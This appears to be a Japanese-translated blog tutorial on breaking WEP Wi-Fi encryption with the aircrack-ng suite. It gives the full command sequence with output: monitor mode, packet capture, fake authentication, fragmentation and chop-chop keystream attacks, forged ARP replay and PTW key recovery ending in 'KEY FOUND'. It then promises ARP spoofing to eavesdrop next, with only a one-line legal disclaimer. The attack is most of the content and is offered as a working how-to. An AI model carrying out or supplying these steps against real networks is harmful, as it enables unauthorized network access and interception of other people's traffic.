WEP暗号化を使用したワイヤレスネットワークでの実用的な攻撃

理論と攻撃プロセスは、「ワイヤレスネットワークへの攻撃」という記事でユーザーn3m0によって詳しく説明されています。 しかし、そこの実践はかなり不十分に記述されています。



この記事では、aircrack-ngパッケージとOpenSuseオペレーティングシステムを使用して、WEP暗号化でワイヤレスネットワークを攻撃する実際的なプロセスについて説明します。

画像画像



プログラム



このパッケージは、ほぼすべてのGNU / Linuxオペレーティングシステムのリポジトリにあります。 Windows用に移植されたバージョンがありますが、Linuxでの最高のドライバーサポートのため、この特定のオペレーティングシステムが選択されました。

設置

# zypper in aircrack-ng







インストール後、ハードウェアに関する質問が発生しました。 つまり、ラップトップに組み込まれたWi-Fiアダプターは、信号レベルが低いため、ポイントとの通信を断固として拒否しました。 その結果、TrendNet TEW-424UB USBアダプターが採用されました。

# lsusb | grep Net

Bus 001 Device 002: ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter








アダプタドライバはairodumpを素晴らしくサポートしており、aireplayではmac80211にパッチを適用する必要はありませんでした。

ドライバーの互換性があるサイトへのリンク

dmesgは、このアダプターが自動的に上昇しなかったことを示していますが、実際に必要なことはありません。

[ 2609.580074] rtl8187: Customer ID is 0x00

[ 2609.580144] Registered led device: rtl8187-phy1::tx

[ 2609.580171] Registered led device: rtl8187-phy1::rx

[ 2617.830502] ADDRCONF(NETDEV_UP): wlan0: link is not ready








レンジスキャン

アダプタを監視モードで起動します。

# airmon-ng start wlan0



Interface Chipset Driver



eth1 Intel 2200BG ipw2200

wlan0 RTL8187 rtl8187 - [phy1]

(monitor mode enabled on mon0)








ハッキングは仮想アダプターmon0を扱います。 元のアダプターは管理モードのままです。

# iwconfig wlan0

wlan0 IEEE 802.11bg ESSID:""

Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated

# iwconfig mon0

mon0 IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm








次に、利用可能なワイヤレスネットワークをスキャンするプロセスを開始します。

# airodump-ng mon0





画像

クライアントのフィールドの意味は次のとおりです。



ESSIDネットワークの脆弱性を見つけようとします。 ご覧のとおり、チャンネル6です。 airodump-ngに-c 6パラメーターを指定するだけでかまいませんが、トレーニングのために、アダプターを消滅させ、チャンネル6に強制します。

# airmon-ng stop mon0

mon0 RTL8187 rtl8187 - [phy1] (removed)

# airmon-ng start wlan0 6

wlan0 RTL8187 rtl8187 - [phy1]

(monitor mode enabled on mon0)








Wi-Fiネットワークのチャネルが部分的に重複しているという事実のため

画像

特定のチャネルに合わせて調整すると、近隣のアクセスポイントも取得し、特定の周波数のみの使用を強制し、BSSIDでフィルタリングします。 -wオプションは、キャプチャされたデータを書き込む場所をオンにします。

# airodump-ng -c 6 --bssid 00:1B:11:E7:DD:D5 -w essid.out mon0







次に、十分な数のデータパケットが収集されてキー選択に直接移動するまで座って待機するか、アクティブな攻撃を使用します。



アクティブな攻撃。

まず、ポイントでパッケージとドライバーがすべての機能をサポートしていることを確認するために、ポイントで認証を試みることができます。 クライアントが認証されない場合、ポイントはそのパケットを受け入れません。 認証しようとしています:



# aireplay-ng -1 0 -e ESSID mon0

No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)

19:30:28 Waiting for beacon frame (ESSID: ESSID) on channel 6

Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".

19:30:28 Sending Authentication Request (Open System) [ACK]

19:30:28 Authentication successful

19:30:28 Sending Association Request [ACK]

19:30:28 Association successful :-) (AID: 1)








同時に、注入の効率を確認します。

# aireplay-ng -9 -e ESSID mon0

19:31:35 Waiting for beacon frame (ESSID: ESSID) on channel 6

Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".

19:31:35 Trying broadcast probe requests...

19:31:35 Injection is working!

19:31:36 Found 1 AP

19:31:36 Trying directed probe requests...

19:31:36 00:1B:11:E7:DD:D5 - channel: 6 - 'ESSID'

19:31:37 Ping (min/avg/max): 0.771ms/6.558ms/11.080ms Power: -48.50

19:31:37 30/30: 100%








成功しました。 そのため、この点で積極的な攻撃を使用できます。

多くの場合、既存のクライアントの関連付けを解除する価値はありません。攻撃の事実を公開できます。 したがって、フラグメンテーション攻撃を使用します。

# aireplay-ng -5 -b 00:1B:11:E7:DD:D5 mon0

No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)

19:37:26 Waiting for beacon frame (BSSID: 00:1B:11:E7:DD:D5) on channel 6

19:37:26 Waiting for a data packet...

Read 362 packets...








ポイントに少なくとも最小限の機能がある場合、CAMテーブルがあり、ブロードキャストパケットが届くのは論理的です

Size: 277, FromDS: 1, ToDS: 0 (WEP)



BSSID = 00:1B:11:E7:DD:D5

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:22:43:01:C6:7F



0x0000: 0842 0000 ffff ffff ffff 001b 11e7 ddd5 .B..............

0x0010: 0022 4301 c67f 8009 3a1f 0000 0eb0 723b ."C....:.....r;

0x0020: c25a 0453 0691 0afa 5ae3 4365 c309 9094 .ZS...Z.Ce....

0x0030: b0f9 90a9 65bf 1785 9f0a 65fa ba5a cb7d ....e.....e..Z.}

0x0040: f357 7167 c133 1efd ca2e 4ec9 9133 ea20 .Wqg.3....N..3.

0x0050: e508 c7af fce3 bbf3 599d c4a9 e01d 5e4f ........Y.....^O

0x0060: 88e8 9997 a5ef 3f0f 058f 3c8a 100f d667 ......?...<....g

0x0070: 2f0f 9f47 a3b0 f4cd 25f8 2cd4 af9e 157c /..G....%.,....|

0x0080: c456 5232 6903 eb5b e935 5dd2 9816 f94c .VR2i..[.5]....L

0x0090: 18ab ea4c aabd 11ed 41a3 88c9 a5ac 726c ...L....A.....rl

0x00a0: 3b81 024c 5cfe 24d9 78a5 339b 02aa e147 ;..L\.$.x.3....G

0x00b0: eeb2 512c 1d52 aaa0 2992 88a7 be2a cd6d ..Q,.R..)....*.m

0x00c0: ab44 3248 619c 2402 8cda 621e ed9c 9109 .D2Ha.$...b.....

0x00d0: 62e9 23f7 be38 5f6f bfc9 da45 310a 6957 b.#..8_o...E1.iW

--- CUT ---



Use this packet ? Y



Saving chosen packet in replay_src-0427-193751.cap

19:38:22 Data packet found!

19:38:22 Sending fragmented packet

19:38:23 No answer, repeating...

19:38:23 Trying a LLC NULL packet

19:38:23 Sending fragmented packet

19:38:25 Not enough acks, repeating...

19:38:25 Trying a LLC NULL packet

19:38:25 Sending fragmented packet

19:38:27 No answer, repeating...

19:38:27 Sending fragmented packet

19:38:27 Got RELAYED packet!!

19:38:27 Trying to get 384 bytes of a keystream

19:38:27 Not enough acks, repeating...

19:38:27 Trying to get 384 bytes of a keystream

19:38:28 No answer, repeating...

19:38:28 Trying to get 384 bytes of a keystream

19:38:28 Trying a LLC NULL packet

19:38:28 Not enough acks, repeating...

19:38:28 Trying to get 384 bytes of a keystream

19:38:28 Trying a LLC NULL packet

19:38:30 No answer, repeating...

19:38:30 Trying to get 384 bytes of a keystream

19:38:30 Got RELAYED packet!!

19:38:30 Trying to get 1500 bytes of a keystream

19:38:30 Got RELAYED packet!!

Saving keystream in fragment-0427-193830.xor

Now you can build a packet with packetforge-ng out of that 1500 bytes keystream








ポイントはフラグメンテーション攻撃をサポートしています。 この攻撃がサポートされていない場合は、korakが提案するchop-chopと呼ばれる方法を試してください。

# aireplay-ng -4 -e ESSID mon0

19:42:08 Waiting for beacon frame (ESSID: ESSID) on channel 6

Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".

Read 182 packets...



Size: 86, FromDS: 1, ToDS: 0 (WEP)

.....

Use this packet ? y

Saving chosen packet in replay_src-0427-194221.cap



Offset 85 ( 0% done) | xor = D5 | pt = BF | 838 frames written in 14259ms

Offset 84 ( 1% done) | xor = 9B | pt = 57 | 1293 frames written in 21971ms

Offset 83 ( 3% done) | xor = 92 | pt = A8 | 2567 frames written in 43637ms








ポイントまでの信号が低いため、選択時間はサイトの時間よりも長いことがわかります。 空爆のウェブサイトから:

Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms

Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms

Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms








両方の方法を使用した結果、PRGA(疑似ランダム生成アルゴリズム)を含むxorファイルが取得されます。 これで、必要な数のデータパケットを収集するために、偽のarpリクエストを作成して使用できます。

# packetforge-ng -0 -a 00:1B:11:E7:DD:D5 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0427-193830.xor -w arp-request

Wrote packet to: arp-request








次に、このパッケージをネットワークに送信します。

# aireplay-ng -2 -r arp-request mon0

No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)



Size: 68, FromDS: 0, ToDS: 1 (WEP)



BSSID = 00:1B:11:E7:DD:D5

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:09:5B:EC:EE:F2



0x0000: 0841 0201 001b 11e7 ddd5 0009 5bec eef2 .A..........[...

0x0010: ffff ffff ffff 8001 471f 0000 548b 4dde ........G...TM

0x0020: 5747 3254 b5ff 7b7d b389 dbe9 7a9e 389c WG2T..{}....z.8.

0x0030: ce3e 85a3 384f 2858 b612 8532 b57e f3ad .>..8O(X...2.~..

0x0040: 420c 26b8 B.&.



Use this packet ? y

Saving chosen packet in replay_src-0427-195956.cap

You should also start airodump-ng to capture replies.



Sent 1301 packets...(500 pps)








この場合、ポイントからのデータを含む受信パケットの数は急激に増加するはずです。 私は増加していません。 変です。 噴射性能を試してみましょう

# aireplay-ng -9 -e ESSID mon0

20:02:47 Waiting for beacon frame (ESSID: ESSID) on channel 6

Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".

20:02:47 Trying broadcast probe requests...

20:02:48 Injection is working!

20:02:48 Found 1 AP



20:02:48 Trying directed probe requests...

20:02:48 00:1B:11:E7:DD:D5 - channel: 6 - 'ESSID'

20:02:49 Ping (min/avg/max): 0.796ms/6.685ms/10.849ms Power: -48.67

20:02:49 27/30: 90%








動作します。 arpリクエストをやり直して、あたかも実際のネットワークから来たかのように見えるようにします。 通常、ユーザーは標準アドレス192.168.1.1/24のままにします。 このアドレスを回答者として使用します。 同時に、airodumpを再起動します

# packetforge-ng -0 -a 00:1B:11:E7:DD:D5 -h 00:09:5B:EC:EE:F2 -k 192.168.1.1 -l 192.168.1.250 -y fragment-0427-193830.xor -w arp-request1

Wrote packet to: arp-request1

# aireplay-ng -2 -r arp-request1 mon0

.......

Sent 799 packets...(499 pps)








画像



今では動作します。 受信したパケットの数は1秒あたり300未満です。

3分未満で、30,000データパケット。 鍵を手に取りましょう。

# aircrack-ng essid.out-0*.cap

Opening essid.out-01.cap

Opening essid.out-02.cap

Reading packets, please wait...



Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 37621 ivs.

KEY FOUND! [ 51:81:82:41:07 ]

Decrypted correctly: 100%









クライアントに鍵を打ち込みます。 やったー これで、 arp-spoofingを実行してトラフィックを聞くことができます-これは次の記事のためです。



この情報は参照専用です。 著者は、ロシア連邦刑法第272条「コンピューター情報への違法アクセス」を思い出させます



All Articles